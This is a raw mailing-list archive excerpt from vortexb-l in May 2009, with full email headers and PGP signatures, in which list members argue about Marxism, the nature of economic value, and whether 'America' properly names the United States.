X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 281 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > I perceive the gap to be that grok recognizes value as objective, while Jeff > Fink recognizes value to be subjective. In the former case, economic > transactions are inherently zero-sum and exploitive, whereas in the latter > case they are positive sum and mutually beneficial. It's not like that at all, at all (whether I understand the above correctly or not, even). Marxism de facto has a far better grasp of objective vs. subjective relations in anything put to analysis, than anything bourgeois intellectuals can come up with. This is an inherent difference -- owing mostly to the fact that the bourgeois ruling-class must of necessity actually try to hide the true nature of its rule, as much as possible. Marxists, OTOH -- NB: not stalinists: a fundamental distinction which bourgeois ideologs will of course refuse to make -- have a true vested interest in discovering the objective truth about Nature and Reality, in the most scientific manner possible. But proving that here to youse-alls' satisfaction is, of course, another matter entirely. But it would certainly be a most scientific undertaking in any case. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoW+IAACgkQXo3EtEYbt3EGTQCg5wkHiA2fMrfMSL+j3zEbVokQ a/cAoLTRTG9I0AC6AXbiHJemjvwuTt4W =qVg6 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 12:10:06 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4MJA3sx012636; Fri, 22 May 2009 12:10:03 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4MJA32k012627; Fri, 22 May 2009 12:10:03 -0700 Resent-Date: Fri, 22 May 2009 12:10:03 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=ya7GAPg2V80stqe32bOxjKtnnEesdhgJpsWGOVvwUTI=; b=UTHS0izb7YufTpJwwnBs+l/n2/zpsLBOpN9e1GqphpXreAqhbmYGBLDRmvKmhieP2V cygmqA5uvLdMXA3b4DjV1EeAZ5puERQcw9tgY6EmPNOpu1/nQIC4hQs9VmctX/aFZRWm s2jA4MIguC6eIcSKsXcDLP/D+3auuSR+h9RWA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=TH/LQOYLD+hyioIHopm2/Zt3Crq7lbNldBX9paQsMAfzjUQ+OBnMMIgBzPam9fHWZE mQmjDeiYNXS1w5Wyx1lKdKgm3pgMOejD9nldWHjFcXO4L6e3d2rNLQBnSiDPC6oRHpIY xfDe7hDBx4okg4RppWsEwuJFooE9FgCXnYHv4= MIME-Version: 1.0 In-Reply-To: <20090522185439.GI16769@shell.resist.ca> References: <20090520004248.GK2278@shell.resist.ca> <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> <20090522175450.GC16769@shell.resist.ca> <63ffa6020905221111kc4ad4a3w2d9e05552f84b109@mail.gmail.com> <20090522185439.GI16769@shell.resist.ca> From: Charles HOPE Date: Fri, 22 May 2009 15:09:41 -0400 Message-ID: <63ffa6020905221209w184ab194gd8b5a9defa10812@mail.gmail.com> Subject: Re: [VoB]:Re: [Vo]:China vs US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=00504502e501dbeac4046a85016d Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4040 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 282 --00504502e501dbeac4046a85016d Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable You're not going to accept the fact that billions of people on earth signif= y the United States of America as =93America=94, and call its citizens =93Americans=94? And then you are going to lecture me on denial? On Fri, May 22, 2009 at 2:54 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > The United States of America the only country with the name "America" i= n > its > > title, therefore it can be abbreviated as America legitimately. So you'= ll > > have to accept it. > > Uh -- no I don't. And you can take this up with a few hundred million oth= er > people > both outside -- and inside -- the U.S. who think the same way. > > > > > > Class consciousness is rare to see ever since the ruling class neutered > > leftism and turned it into a safe pastime for their scions to dabble in > > vegetarianism. > > It ain't over 'til it's over. Haven't you heard that one? > Until the Fat Lady sings. > > Read the damned papers. Like I said earlier: denial sure ain't a river in > Egypt. > > > - -- grok. > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoW9O8ACgkQXo3EtEYbt3Gp9QCeP5c7fp+bxgvaTCuE+/cIS17v > H50AoKlUJgDvgRnAYN2h2jjXcXhIichJ > =3DVWaA > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --00504502e501dbeac4046a85016d Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable You're not going to accept the fact that billions of people on earth si= gnify the United States of America as =93America=94, and call its citizens = =93Americans=94?

And then you are going to lecture me on denial?


On Fri, May 22, 2009 at 2:54 PM, grok <grok@resist.ca>= ; wrote:
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Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> The United States of America the only country = with the name "America" in its
> title, therefore it can be abbreviated as America legitimately. So you= 'll
> have to accept it.

Uh -- no I don't. And you can take this up with a few hundred mil= lion other people
both outside -- and inside -- the U.S. who think the same way.




> Class consciousness is rare to see ever since the ruling class neutere= d
> leftism and turned it into a safe pastime for their scions to dabble i= n
> vegetarianism.

It ain't over 'til it's over. Haven't you heard that = one?
Until the Fat Lady sings.

Read the damned papers. Like I said earlier: denial sure ain't a river = in Egypt.


- -- grok.







- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoW9O8ACgkQXo3EtEYbt3Gp9QCeP5c7fp+bxgvaTCuE+/cIS17v
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--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--00504502e501dbeac4046a85016d-- From vortexb-l-request@eskimo.com Fri May 22 12:25:17 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4MJPF3t022356; Fri, 22 May 2009 12:25:15 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4MJPFu9022351; Fri, 22 May 2009 12:25:15 -0700 Resent-Date: Fri, 22 May 2009 12:25:15 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=fc2I8IoK71Vq0Do1Xb6DWXL5PONBCx7dToqW3/7XQuQ=; b=Xe1K5YanFoUYZdzaJgr3Z+mm8Fii/DHmtXlzlMS9pfI/PCm2K9ULKurrIiWL0vRlWG /Q55GwNcf9A9OpVk4LxFMP73UpMzjzeRvb3fQaYaXvTTYBZKZzXi5CKSHcFIpr78wHH9 ikSWiMeoHsxounp3cTWQq+XmjuLfQQcwEES44= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=DEmMhmSX8ZlPTEekEHqDSrAaVICEPZREoypc1JXYQcnv1hxi0GOQHBfpz91dKMsDpU JsR7KMPJjMicwvBmIF8VCVaff25Iew7F0uqMeMMWr6/kj44co5i9lfK3s0ZDL8oSjlQ4 vwZ+QnxfeShDB1Mj5DR/YyOQRZ05K4FmS0ljs= MIME-Version: 1.0 In-Reply-To: <20090522190952.GK16769@shell.resist.ca> References: <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <20090522190952.GK16769@shell.resist.ca> From: Charles HOPE Date: Fri, 22 May 2009 15:24:51 -0400 Message-ID: <63ffa6020905221224m45f89625rc50dfdcdc13d1f27@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a5371fa689046a853890 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4041 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 283 --001636c5a5371fa689046a853890 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable I've never understood how the capitalists could continue to amass billions without having an effective economic theory. It's a mysterious accusation. On Fri, May 22, 2009 at 3:09 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > I perceive the gap to be that grok recognizes value as objective, while > Jeff > > Fink recognizes value to be subjective. In the former case, economic > > transactions are inherently zero-sum and exploitive, whereas in the > latter > > case they are positive sum and mutually beneficial. > > It's not like that at all, at all (whether I understand the above correct= ly > or not, > even). Marxism de facto has a far better grasp of objective vs. subjectiv= e > relations > in anything put to analysis, than anything bourgeois intellectuals can co= me > up with. > This is an inherent difference -- owing mostly to the fact that the > bourgeois > ruling-class must of necessity actually try to hide the true nature of it= s > rule, as > much as possible. Marxists, OTOH -- NB: not stalinists: a fundamental > distinction > which bourgeois ideologs will of course refuse to make -- have a true > vested interest > in discovering the objective truth about Nature and Reality, in the most > scientific > manner possible. > > But proving that here to youse-alls' satisfaction is, of course, another > matter > entirely. But it would certainly be a most scientific undertaking in any > case. > > > - -- grok. > > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoW+IAACgkQXo3EtEYbt3EGTQCg5wkHiA2fMrfMSL+j3zEbVokQ > a/cAoLTRTG9I0AC6AXbiHJemjvwuTt4W > =3DqVg6 > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a5371fa689046a853890 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable I've never understood how the capitalists could continue to amass billi= ons without having an effective economic theory. It's a mysterious accu= sation.



On Fri, May 22, 2009 at 3= :09 PM, grok <grok@r= esist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> I perceive the gap to be that grok recognizes = value as objective, while Jeff
> Fink recognizes value to be subjective. =A0In the former case, economi= c
> transactions are inherently zero-sum and exploitive, whereas in the la= tter
> case they are positive sum and mutually beneficial.

It's not like that at all, at all (whether I understand the above= correctly or not,
even). Marxism de facto has a far better grasp of objective vs. subjective = relations
in anything put to analysis, than anything bourgeois intellectuals can come= up with.
This is an inherent difference -- owing mostly to the fact that the bourgeo= is
ruling-class must of necessity actually try to hide the true nature of its = rule, as
much as possible. Marxists, OTOH -- NB: not stalinists: a fundamental disti= nction
which bourgeois ideologs will of course refuse to make -- have a true veste= d interest
in discovering the objective truth about Nature and Reality, in the most sc= ientific
manner possible.

But proving that here to youse-alls' satisfaction is, of course, anothe= r matter
entirely. But it would certainly be a most scientific undertaking in any ca= se.


- -- grok.








- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoW+IAACgkQXo3EtEYbt3EGTQCg5wkHiA2fMrfMSL+j3zEbVokQ
a/cAoLTRTG9I0AC6AXbiHJemjvwuTt4W
=3DqVg6
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a5371fa689046a853890-- From vortexb-l-request@eskimo.com Fri May 22 12:38:17 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4MJc7ZI021289; Fri, 22 May 2009 12:38:11 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4MJc7tV021283; Fri, 22 May 2009 12:38:07 -0700 Resent-Date: Fri, 22 May 2009 12:38:07 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 12:38:01 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:China vs US Message-ID: <20090522193801.GL16769@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> <20090522175450.GC16769@shell.resist.ca> <63ffa6020905221111kc4ad4a3w2d9e05552f84b109@mail.gmail.com> <20090522185439.GI16769@shell.resist.ca> <63ffa6020905221209w184ab194gd8b5a9defa10812@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905221209w184ab194gd8b5a9defa10812@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: 8182, DIAT, DCS2000, Ionosphere, Fighting In Built-Up Areas User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4042 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 284 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > You're not going to accept the fact that billions of people on earth signify > the United States of America as "America", and call its citizens > "Americans"? > > And then you are going to lecture me on denial? Billions of people believe the first thing they're told. And that's a damned fact. Same goes for religion, for that matter. And much else. Your argument, however, implies *they know any better*. And that's just hypocrisy -- because they DON'T. BELIEVE me: when it comes time for most of them to know the difference -- bye, bye "America". And much else besides. You people put a lot of stock in the manipulations of fear and ignorance, don't you? It's like it's your *birthright*, or something. What a decadent society. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoW/xkACgkQXo3EtEYbt3E71gCgxtGQLjJhub1BgXB4cZvAS8qL AU4Anj765XbQ/dBArZWtOGKBcBE0cpOI =V3W3 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 12:49:01 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4MJmu6C025667; Fri, 22 May 2009 12:48:56 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4MJmu3Z025663; Fri, 22 May 2009 12:48:56 -0700 Resent-Date: Fri, 22 May 2009 12:48:56 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Cc: Edmund Storms Message-Id: <07E13DAA-6C14-4066-84A7-04E277AC4D6D@ix.netcom.com> From: Edmund Storms To: vortexb-l@eskimo.com In-Reply-To: <63ffa6020905221224m45f89625rc50dfdcdc13d1f27@mail.gmail.com> Content-Type: multipart/alternative; boundary=Apple-Mail-1-574042784 Mime-Version: 1.0 (Apple Message framework v935.3) Date: Fri, 22 May 2009 13:48:51 -0600 References: <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <20090522190952.GK16769@shell.resist.ca> <63ffa6020905221224m45f89625rc50dfdcdc13d1f27@mail.gmail.com> X-Mailer: Apple Mail (2.935.3) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4043 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:unsubscribe Status: O X-Status: X-Keywords: X-UID: 285 --Apple-Mail-1-574042784 Content-Type: text/plain; charset=WINDOWS-1252; format=flowed; delsp=yes Content-Transfer-Encoding: quoted-printable On May 22, 2009, at 1:24 PM, Charles HOPE wrote: > I've never understood how the capitalists could continue to amass =20 > billions without having an effective economic theory. It's a =20 > mysterious accusation. > > > > On Fri, May 22, 2009 at 3:09 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > I perceive the gap to be that grok recognizes value as objective, =20= > while Jeff > > Fink recognizes value to be subjective. In the former case, =20 > economic > > transactions are inherently zero-sum and exploitive, whereas in =20 > the latter > > case they are positive sum and mutually beneficial. > > It's not like that at all, at all (whether I understand the above =20 > correctly or not, > even). Marxism de facto has a far better grasp of objective vs. =20 > subjective relations > in anything put to analysis, than anything bourgeois intellectuals =20 > can come up with. > This is an inherent difference -- owing mostly to the fact that the =20= > bourgeois > ruling-class must of necessity actually try to hide the true nature =20= > of its rule, as > much as possible. Marxists, OTOH -- NB: not stalinists: a =20 > fundamental distinction > which bourgeois ideologs will of course refuse to make -- have a =20 > true vested interest > in discovering the objective truth about Nature and Reality, in the =20= > most scientific > manner possible. > > But proving that here to youse-alls' satisfaction is, of course, =20 > another matter > entirely. But it would certainly be a most scientific undertaking in =20= > any case. > > > - -- grok. > > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoW+IAACgkQXo3EtEYbt3EGTQCg5wkHiA2fMrfMSL+j3zEbVokQ > a/cAoLTRTG9I0AC6AXbiHJemjvwuTt4W > =3DqVg6 > -----END PGP SIGNATURE----- > > > > > --=20 > Never did I see a second sun > Never did my skin touch a land of glass > Never did my rifle point but true > But in a land empty of enemies > Waiting for the tick-tick-tick of the want > A uranium angel > Crying =93behold,=94 > This land that knew fire is yours > Taken from Corruption > To begin anew --Apple-Mail-1-574042784 Content-Type: text/html; charset=WINDOWS-1252 Content-Transfer-Encoding: quoted-printable
On May 22, 2009, = at 1:24 PM, Charles HOPE wrote:

I've never = understood how the capitalists could continue to amass billions without = having an effective economic theory. It's a mysterious = accusation.



On Fri, May 22, = 2009 at 3:09 PM, grok <grok@resist.ca> wrote:
=
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

=
As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com<= /a>>
mounted the barricade and roared = out:

> I perceive the gap to be that = grok recognizes value as objective, while Jeff
> Fink recognizes = value to be subjective.  In the former case, economic
> = transactions are inherently zero-sum and exploitive, whereas in the = latter
> case they are positive sum and mutually beneficial.
=
It's not like that at all, at all (whether I understand the = above correctly or not,
even). Marxism de facto has a far better = grasp of objective vs. subjective relations
in anything put to = analysis, than anything bourgeois intellectuals can come up with.
= This is an inherent difference -- owing mostly to the fact that the = bourgeois
ruling-class must of necessity actually try to hide the = true nature of its rule, as
much as possible. Marxists, OTOH -- NB: = not stalinists: a fundamental distinction
which bourgeois ideologs = will of course refuse to make -- have a true vested interest
in = discovering the objective truth about Nature and Reality, in the most = scientific
manner possible.

But proving that here to = youse-alls' satisfaction is, of course, another matter
entirely. But = it would certainly be a most scientific undertaking in any case.
=


- -- grok.






=

- --
Build the North America-wide General Strike.

= TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux = conseils et communes.
ALL power to the councils and communes.
= -----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
=
=
iEYEARECAAYFAkoW+IAACgkQXo3EtEYbt3EGTQCg5wkHiA2fMrfMSL+j3zEbVokQ
= a/cAoLTRTG9I0AC6AXbiHJemjvwuTt4W
=3DqVg6
-----END PGP = SIGNATURE-----




-- =
Never did I see a second sun
Never did my skin touch a land of = glass
Never did my rifle point but true
But in a land empty of = enemies
Waiting for the tick-tick-tick of the want
A uranium = angel
Crying =93behold,=94
This land that knew fire is = yours
Taken from Corruption
To begin = anew

= --Apple-Mail-1-574042784-- From vortexb-l-request@eskimo.com Fri May 22 12:51:58 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4MJptYR001397; Fri, 22 May 2009 12:51:56 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4MJpt29001393; Fri, 22 May 2009 12:51:55 -0700 Resent-Date: Fri, 22 May 2009 12:51:55 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=mKTY/YODnwdSVxwFPhcsZITXPqRGcVlx6W0vZVKRQ1E=; b=W4jP/NhYwE1N+hXaxCvlLpNaTf7kLZnlmTBS1dMqg+2w8K9IwjPkg1ILdakCnsEwKG l3BHEuKm4M0R4G9VFye6vtOeHhzqn5LRa0sWomvk3m2VJHrudTGN6Tazoh1je/6iGTJu Jf0FbVb1d0UrXfCCkMpSsznaXqwLDGjpLBVNQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=UV/kqYP+UeizR/wzQ7A5N0h09qT1Os20iEKwD37A8Q2BB4zVm323isG75Ue+sziRTs n872r5JLEAGVj+XbeWqpdSq7hE6kCfBw7cpqe/x1S3hqQzJH/qsij7RQiosi/aY2ir1O Xo2bm3s0/R5ePkA+FE0Qf/KPC15RtZkOPDowQ= MIME-Version: 1.0 In-Reply-To: <20090522193801.GL16769@shell.resist.ca> References: <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> <20090522175450.GC16769@shell.resist.ca> <63ffa6020905221111kc4ad4a3w2d9e05552f84b109@mail.gmail.com> <20090522185439.GI16769@shell.resist.ca> <63ffa6020905221209w184ab194gd8b5a9defa10812@mail.gmail.com> <20090522193801.GL16769@shell.resist.ca> From: Charles HOPE Date: Fri, 22 May 2009 15:51:34 -0400 Message-ID: <63ffa6020905221251u7aa38af6i13c325e1b8c6d612@mail.gmail.com> Subject: Re: [VoB]:Re: [Vo]:China vs US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c923d7a57531046a8597c5 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4044 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 286 --001636c923d7a57531046a8597c5 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Names are social constructs. If billions of people call the moon =93foobar= =94, then that's what it is called. This is as much an objective fact as any other the Marxists purport to recognize. On Fri, May 22, 2009 at 3:38 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > You're not going to accept the fact that billions of people on earth > signify > > the United States of America as "America", and call its citizens > > "Americans"? > > > > And then you are going to lecture me on denial? > > Billions of people believe the first thing they're told. And that's a > damned fact. > Same goes for religion, for that matter. And much else. Your argument, > however, > implies *they know any better*. And that's just hypocrisy -- because they > DON'T. > BELIEVE me: when it comes time for most of them to know the difference -- > bye, bye > "America". And much else besides. > > You people put a lot of stock in the manipulations of fear and ignorance, > don't you? > It's like it's your *birthright*, or something. What a decadent society. > > > - -- grok. > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoW/xkACgkQXo3EtEYbt3E71gCgxtGQLjJhub1BgXB4cZvAS8qL > AU4Anj765XbQ/dBArZWtOGKBcBE0cpOI > =3DV3W3 > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c923d7a57531046a8597c5 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Names are social constructs. If billions of people call the moon =93foobar= =94, then that's what it is called.=A0 This is as much an objective fac= t as any other the Marxists purport to recognize.



On Fri, May 22, 2009 at 3:38 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> You're not going to accept the fact that b= illions of people on earth signify
> the United States of America as "America", and call its citi= zens
> "Americans"?
>
> And then you are going to lecture me on denial?

Billions of people believe the first thing they're told. And that= 's a damned fact.
Same goes for religion, for that matter. And much else. Your argument, howe= ver,
implies *they know any better*. And that's just hypocrisy -- because th= ey DON'T.
BELIEVE me: when it comes time for most of them to know the difference -- b= ye, bye
"America". And much else besides.

You people put a lot of stock in the manipulations of fear and ignorance, d= on't you?
It's like it's your *birthright*, or something. What a decadent soc= iety.


- -- grok.






- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
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--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
